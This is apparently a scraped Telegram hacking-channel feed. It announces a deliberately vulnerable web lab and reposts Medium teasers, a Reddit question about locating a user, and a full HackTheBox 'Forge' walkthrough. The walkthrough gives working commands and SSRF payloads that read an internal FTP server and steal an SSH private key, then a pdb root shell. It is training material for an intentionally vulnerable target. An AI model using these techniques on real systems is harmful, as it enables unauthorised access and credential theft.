Hacking Articles Tips Tricks Videos Tutorials

15 views15:06

KitPloit - PenTest & Hacking Tools

KitPloit - PenTest Tools!
VulnLab - A Web Vulnerability Lab Project

http://2.bp.blogspot.com/-OC3Ln5ye45g/Ye4WnlRH9kI/AAAAAAAA87I/wAcB0MfLOV4k79jybb9LxFJkCp64wmIfACK4BGAYYCw/w400-h400/VulnLab_1-709904.png
VulnLab

A web vulnerability lab project developed by Yavuzlar.
http://2.bp.blogspot.com/-hoxStR-2H7o/Ye4WoEeJqKI/AAAAAAAA87Q/a7xkVZdn0IId5MJdmne5a8eZ3G41oCAOwCK4BGAYYCw/w640-h314/VulnLab_2-711638.gif
Vulnerabilities

* SQL Injection
* Cross Site Scripting (XSS)
* Command Injection
* Insecure Direct Object References (IDOR)
* Cross Site Request Forgery (CSRF)
* XML External Entity (XXE)
* Insecure Deserialization
* File Upload
* File Inclusion
* Broken Authentication
Installation

Install with DockerHub

1. If you want to install on DockerHub, just type this command.
docker run --name vulnlab -d -p 1337:80 yavuzlar/vulnlab:latest

2. Go to http://localhost:1337
Manuel Installation

1. Clone the repo
git clone https://github.com/Yavuzlar/VulnLab

2. Build docker image
docker build -t yavuzlar/vulnlab .

3. Run container
docker run -d -p 1337:80 yavuzlar/vulnlab

4. Go to http://localhost:1337
Google Cloud

https://camo.githubusercontent.com/5832b6a44b19b13a5a84f8e89d646780a5ec646a0dfeef52f001134caca93511/68747470733a2f2f6465706c6f792e636c6f75642e72756e2f627574746f6e2e737667

Contact

Website
Linkedln
Twitter
Instagram
Download VulnLab

___________________________
@hacking_Attack
@Hacking_Video

VulnLab - A Web Vulnerability Lab Project

13 viewsedited 15:06

12 views15:11

Hacking on Medium
A rundown of the biggest cyber attacks in 2021 — and what lies ahead for us

https://cdn-images-1.medium.com/max/1807/1*vmho8zK_TSwaQ8liLN5N7Q.png
2021 was a rollercoaster ride. From sophisticated attacks on supposedly “secure” systems to malicious hacker groups…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

A rundown of the biggest cyber attacks in 2021 — and what lies ahead for us

2021 was a rollercoaster ride. From sophisticated attacks on supposedly “secure” systems to malicious hacker groups…

12 viewsedited 15:12

This media is not supported in your browser

VIEW IN TELEGRAM

10 views15:12

GIF

Hacking on Medium
This NFT Logs Your IP Address

https://cdn-images-1.medium.com/max/1200/1*MDdMSSTTlAlVa8iHt15kIg.gif
Author: Nick Bax

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

This NFT Logs Your IP Address

Author: Nick Bax

10 viewsedited 15:12

10 views15:12

Hacking on Medium
ANALOUGEPOND VM Walkthrough 1 — part

https://cdn-images-1.medium.com/max/709/0*276mvhplZ6phZVjz.png
Makineyi indirebilirsiniz.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

ANALOUGEPOND VM Walkthrough 1 — part

Makineyi indirebilirsiniz.

10 viewsedited 15:12

8 views15:12

Hacking on Medium
Phantom Functions and the Billion-Dollar No-op

https://cdn-images-1.medium.com/max/1280/1*EFZc4IybJjrAhMwtM9o7aQ.png
By the Dedaub team

Continue reading on Dedaub »

___________________________
@hacking_Attack
@Hacking_Video

Phantom Functions and the Billion-Dollar No-op

By the Dedaub team

9 viewsedited 15:12

10 views15:12

Hacking on Medium
Try This Great McDonald’s Hack

https://cdn-images-1.medium.com/max/2600/0*ojRIh5nxHhqvLuIt
I use it as often as I can at the restaurant.

Continue reading on Loud Updates »

___________________________
@hacking_Attack
@Hacking_Video

Try This Great McDonald’s Hack

I use it as often as I can at the restaurant.

10 viewsedited 15:12

10 views15:14

Forge HackTheBox Walkthrough - Hacking Articles

Hacking Articles
Forge HackTheBox Walkthrough

IntroductionForge is a CTF Linux box rated “medium” on the difficulty scale on the HackTheBox platform. The box covers subdomain enumeration, SSRF attacks and basic reverse engineering of a python script for privilege escalation. Table of ContentNetwork Scanning

* Nmap

Enumeration

* Subdomain enumeration using wfuzz
* Checking file upload filters on web application

Exploitation

* Exploiting SSRF to read private SSH key
* Logging in using this SSH key

Privilege Escalation

* Understanding python script running as sudo
* Gaining root by exploiting pdb

Let’s deep dive into this. Network ScanningThe dedicated IP address of the machine is 10.129.164.116. We’ll run a nmap scan on this machine’s IP. As we can see in the nmap scan, the server tried to redirect the request to http://forge.htb. So, we’ll add this IP in our hosts file and access the webserver.
nmap -sV -sC -p 1-1000 10.129.164.116
https://blogger.googleusercontent.com/img/a/AVvXsEjXw_vRTFxHuKYLubtFWunfVi9Jd_naDOCtOKxdpElJqfcEBY9mtD-A-RaYPYcFUOP6b0o3uRYUh0MbyrjWhY9m8Qzzi7j_oWmKpZOA42oKmECStwzpA7CCIs6EOGqOKYsjEnrneT44xfgezK9JHeRSK-7Q2W0JsTIFz2jm4e730bcUAaDEQyswWS6OPQ=s16000

Now, we access the webserver which seemed to be running a digital gallery.

https://blogger.googleusercontent.com/img/a/AVvXsEg6BGoozrVOEs9i1zEZJpIivZoEfkSlygvP-m3iqsB8eXW5jyoQ-5abybzOjlpBNJ-YIfsvXIj9YoccxICJTX15pspF99P6sZFLDj6ZkQHukEHmRXMx8OcQhwXvd43-AyLrkDQq_J0QXp1LY9wbs-wdEjlKJZSWQGoVZYE86YKzD2rejnsSbFoBBxMAHg=s16000 EnumerationAs we see there was an upload function in the gallery. We tried uploading a PHP payload and gaining reverse shell but it didn’t work. The file was being uploaded to the server though and contents were there but it wasn’t executing the code.

However, since the website was rerouting to forge.htb, it was possible that there were other subdomains on the website. We used wfuzz for this bruteforce (along with seclists wordlist).
wfuzz -w /home/kali/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.forge.htb" --sc 200 10.129.164.116
This shows that admin.forge.htb exists.

https://blogger.googleusercontent.com/img/a/AVvXsEinlbbhcW5bmYb-MsFiT_5Dr1g-0QZW8N6wXIWQ3b9KGM4L8EaZrA_M770b8-HVQ0LDYdXZWU12bAs03OlYyq-FxemumbjJEQ9XeXKK7nlsVNmHuMVn3JLHNJ-fLjrSbeZbyo2f3RURbxEiT_vHZcta8BouqIkbS_5RdRvrNTrU3b7EK3L6TTloIeLo0Q=s16000

However, upon opening the URL using curl we received an error. This means that an access control filter is up on the server.
echo "10.129.164.116 admin.forge.htb" >> /etc/hosts
curl http://admin.forge.htb/
https://blogger.googleusercontent.com/img/a/AVvXsEg5hUqgrEAzKzUEtpR2MOfQUiqf3lVVMic4kJJdgURURTwzD2kQkJNorpE6VxUIjEgzcMMb4m24r35FuTBfmVvyGqN9h4bmOFUyD4YmEZoWTL-nkcKt6Vx8T74rJ85FFoPU1AkBGzKOJJpqUQK-rYP3PhFy0RH9um2utr8kGDPkwND5mUbE86c40smQog=s16000

So, we headed to another upload option “upload from URL.” There was another filter that only allowed HTTP,HTTPS URLs.

https://blogger.googleusercontent.com/img/a/AVvXsEiowOmLoeWtR5kyCoLkHSwMiSbpbV8Y3NLaMeb6_lJrf2FK9xV0c56gu4fYVTYeOHkRf1l3VV50aW3TZ33XPmCPFq6l_YbgwAfU2FYMbn2SUKTdchTGNe4uWrV181YipqtWaCH-3Tmj2KISMguPEL3T6i8EwhS8CbrXR66q-uIMO2VqeXLBVJTeIE6skQ=s16000

So, I set up a listener on port 80 using netcat and input http://10.10.16.10/shell.php in the option (my HTB tunnel IP).

https://blogger.googleusercontent.com/img/a/AVvXsEjBWVq5WuPGaUMIcb_9B5xbo03QVIUNwJmVog923xo-d1O2ldhdwlhX8uQNOdwCvH8msp6tyxT9BsAFwuPIFUV41VQ7C8BNtLetgOmNkWfLGSzCu96soVWAuT7yd49abviReqcC-iBWCmQFaUENBP6MJdZlfs-7iHzp_h6_Lia4y9reDdzq6CgbiDYtJA=s16000

On my netcat listener, I could see the website trying to fetch shell.php. There were a few notable things here:

* The server tried to fetch the specified file shell.php from my IP
* The request had my IP in the Host header
* User-Agent is python-request[...]

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles

Introduction Forge is a CTF Linux box rated “medium” on the difficulty scale on the HackTheBox platform. The box covers subdomain enumeration, SSRF attacks and

12 viewsedited 15:14

Hacking Articles Forge HackTheBox Walkthrough IntroductionForge is a CTF Linux box rated “medium” on the difficulty scale on the HackTheBox platform. The box covers subdomain enumeration, SSRF attacks and basic reverse engineering of a python script for privilege…

s which is a python crawler

https://blogger.googleusercontent.com/img/a/AVvXsEgs4-ZR287t_tzwUwsakrdegWZYn2JpR9yJekdCdOybCeBEHYyE2g0Yp_U9kztSdasZbHuj5UbusofU2Db5VaM_y9pPRmznL9BNxcBuAv-bqsF1G87-7hYvdOlyTlnIGLIdQES22cn0B27FgTVVCRLAOXg12DwogozhyA7s9VpZ5Fy-iESVOpfmOvjjFg=s16000 ExploitationNow that it had been established the server tries to fetch a remote file, we can work our way up to exploitation from here. My first instinct was to access admin.forge.htb using this remote URL functionality as that page was only accessible using localhost. So, I was able to do that like this but encountered yet another problem!

https://blogger.googleusercontent.com/img/a/AVvXsEgDyl1LmeuU22NepPNgjJ9aNNvBL6mrdLXM_Gfk6chMylDj9nZMEzVw4KqQHIhS7n2TuLkei_YCpWrU7lsTwxCBDTVP8jh4lLl2rFDIC6RoUyCmFBasQ9EGi6IqZaK3RnVLKUZFElTmq0-xIlS1zc5Qr7cUmaRWyePEes4B63VYdWztyzHarO46QumBjA=s16000

So, this address is blacklisted. Let’s see if we can bypass this by typing the subdomain “admin” in all caps (ADMIN.forge.htb). Well, well looks like we are able to access admin.forge.htb now! This vulnerability is called SSRF (server-side request forgery) where an attacker is able to tamper with the backend requests on a server and breakthrough various access controls (like localhost here) to access sensitive files or even gain a remote shell.

https://blogger.googleusercontent.com/img/a/AVvXsEgoSGVbT4AZJ7DG3g11FEdkmQNvx-Vt4bvwjSxwU6s4v1Jft4HkFJyvYVyJk8LM0TUYbwngenZZjMbiCU_xTROH1EgICVxt6lDQ2sCGvMMBmigznhy7LjWAL6VJOo_Hz23M341W8xKgTsbW912q8d09PLIVwFlRY3MkzF_1VJSys-bwI-H429b8OGdpzw=s16000

This told me about a page /announcements which I then tried to access using http://ADMIN.forge.htb/announcements but this was also blacklisted. So, I used this payload:
http://ADMIN.FORGE.htb/announcements
curl http://forge.htb/uploads/ps14SjF8useIEk0VOao1
Important things inferred from this result were:

* Internal FTP server is running whose credentials are user:heightofsecurity123!
* Upload file option supports FTP and FTPS
* ?u= can be used to upload an image on /uploads page.

https://blogger.googleusercontent.com/img/a/AVvXsEgElm_7K_PWfdrRRWm6K33d4YxflutbXg3uy4XeCWrBpL1l9IoopzjVTJG7501iXYDGUk2aWXWyQQNzqo5Uq4nnHeyAqGQSYN_tI1BJK1cwF_TNMmSOfYjny081HdBI3inBQ9ifVnCqoWVk-6KxJmSsrSaZ-n8xKbED18XqJbvFGE_D4zlbaCFGY1q_zA=s16000

So, if the /upload engine supports inclusion through the URL and FTP protocol, we can exploit SSRF and access the internal FTP server! The payload I used was
http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/
https://blogger.googleusercontent.com/img/a/AVvXsEhfv26cQ9ojc67BZw_jA4f8zcjR9S7fpmYwX02MlXB9TuE0jtkHzTyIYoAWEcDt0aAsOkeJVEXOiCH1hd08NtC0EuiiNt1A7qNXxjGT7M9rqzUYTl54sYoi6n4Xz91BafKoQcnuLvHvW9kJ4mKQ1TCD2yfK24sec8JvukRFKRJDLNxBlPkyGeMvwIr2lw=s16000

Now, if I can access user.txt, I might also be able to access the private SSH key. I did that using this payload:
http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/.ssh/id_rsa
https://blogger.googleusercontent.com/img/a/AVvXsEgMmSV22O_mmQATbUymFYi5GN3n5L8LbNZPm9SH6dFYp9xfmmzQtOfTCvGIY83fuj9RB8U71dALTCZkXNf8AW6vJXBxYGCwA0PqPk-jFKcR_2-wqLnAHM4nigVStEwPszBoNl2ZYvkRZ93M2ZUwP3mc5IGAxY4Cg32_pYBiD123-uY_yIsJuyvvEG4WFQ=s16000

Saving that key in my local system we can log into the victim box.
nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa user@forge.htb
https://blogger.googleusercontent.com/img/a/AVvXsEjvdvZ5paNGafZQmmdSq1Fg4z3oxj1LycRY8W5AHZWxnR_mhH_64gnjdqe0OanEiDQg4y_xFCQ8Q8FCHtjT3-mBScc5Tw7ldot7kXRp9nP2LagaBFX39kHYjrFj_LEd6WqBvdIRjarAmlc_gCfN8XznQHW9_mW1WuAC-IMl60DWA1YaVvAd-2mJFL7aLQ=s16000 Privilege EscalationNow that we had a stable prompt we could advance for privilege escalation. I checked the sudoers file which had a python script allowed to run as root. This script opens up a listener for remote clients to connect. Also, it compares the input password with hardcoded credential secretadminpassword
sudo -l
cat /opt/re[...]

___________________________
@hacking_Attack
@Hacking_Video

9 viewsedited 15:14

mote-manage.py
https://blogger.googleusercontent.com/img/a/AVvXsEiQuEpp1EE9vNQKOeR-lIitWxl1cL3axyvh_oiJuJyuVbUw8fn5_nrBtQjiZNkQhfjvOsJYEjskDuhsjWS7-M8JcdOW7QdeB8kSaFSoPUl2J2Hupnub1hpt91334b2GXhXDuDir89cmoVZDyXsebtvRpVCJUVzTUAsC7S_YFoLWgTXDnc1EvQHCc_DkbA=s16000

Let’s do that and login to this user again from another terminal and connect to the script using netcat.
sudo /usr/bin/python3 /opt/remote-manage.py
nc localhost 55465
https://blogger.googleusercontent.com/img/a/AVvXsEjGK3j2S_Y1wcJLwudp97Blj2pdt5zjVI6A0uZ1CPiVaJEwQTeRLMqTkZxZHsEh7nBIXcIn0rOxkvOpHb7Yju0KcA8T05UJeyOhc3V0u9W59wu5-nK_Dl89XicaILBWcl4LxUTfADFk01xjDZ16H38i7qYnarhoE4WhXk9KOKeRWC0RFrpScb6lVqR47A=s16000

Now, I am effectively communicating with a python script that is run as root. You will notice that this script is flawed. As soon as I input anything other than “secretadminpassword” it throws an exception and opens up Python Debugger.

https://blogger.googleusercontent.com/img/a/AVvXsEhF3vlUv9OJcbbGSGfCgH6cVAxTIv211MSPdtxfY3e4s-wLXUpWwL-E2Q32zCu2Gdo0FeKbRVGgcAApBtyncgze0CkkQXldKpgqjma-L935m8tT8txdl4049nJoep_g4OVVWX1ghpMqKNFqjI1IS16fot2Thw4p1fvOywLYBimogcb9yo2Zm9u5pv2-rw=s16000

Now, we have a Python debugger (pdb) running as root with us! Super convenient. We would have used a buffer overflow attack if this flaw didn’t exist to get into the debugger. Anyway, we can use the debugger to perform any function as root. I used the technique used by gtfobins here. Simply invoked a shell using the os module. And this is how we root this box.
import os;os.system(“/bin/sh”)
id
cat /root/root.txt
https://blogger.googleusercontent.com/img/a/AVvXsEiPLup_PCT5S3kW4J1Uv6bZE2qHLQnw6t4U9z4AKP9Mx3crTlO7WmrcWZEG20xf6gnazI1DkkJI93nuUXqxtEzPhLiVnyMWytbyaokINQALUAmLugtdKX_xzdRugbTx53WKmz2Qpm7NIrL7Y3MIL_hZulk5ADdC_WWk9dfGCIgfdByfbgEgDbwFztZH3Q=s16000 ConclusionThe box covers a few tricks that make one scratch their brain, however, it doesn’t have any rabbit holes or advanced techniques used to exploit. We covered subdomain enumeration, SSRF and basic Python reverse engineering in this box. Hope you liked this article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post Forge HackTheBox Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

11 viewsedited 15:14

Greetings r/hackers, I came across a situation and am concerned for someone's safety. In r/relationship_advice user u/ethanisonfire has been...

hacking: security in practice
Hacking for safety?

Greetings r/hackers, I came across a situation and am concerned for someone's safety.

In r/relationship_advice user u/ethanisonfire has been posting about a situation where a boyfriend has been installing Blink cameras in his home without his knowledge. Yesterday he posted that he was going to confront the boyfriend alone, and a few hours ago a post was made in a completely different style. Highly suspicious.

My question is thus: can a user like myself find the approximate location of the poster so that the local authorities can be contacted?

submitted by /u/bockchain
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking for safety?

11 viewsedited 15:41

10 views15:41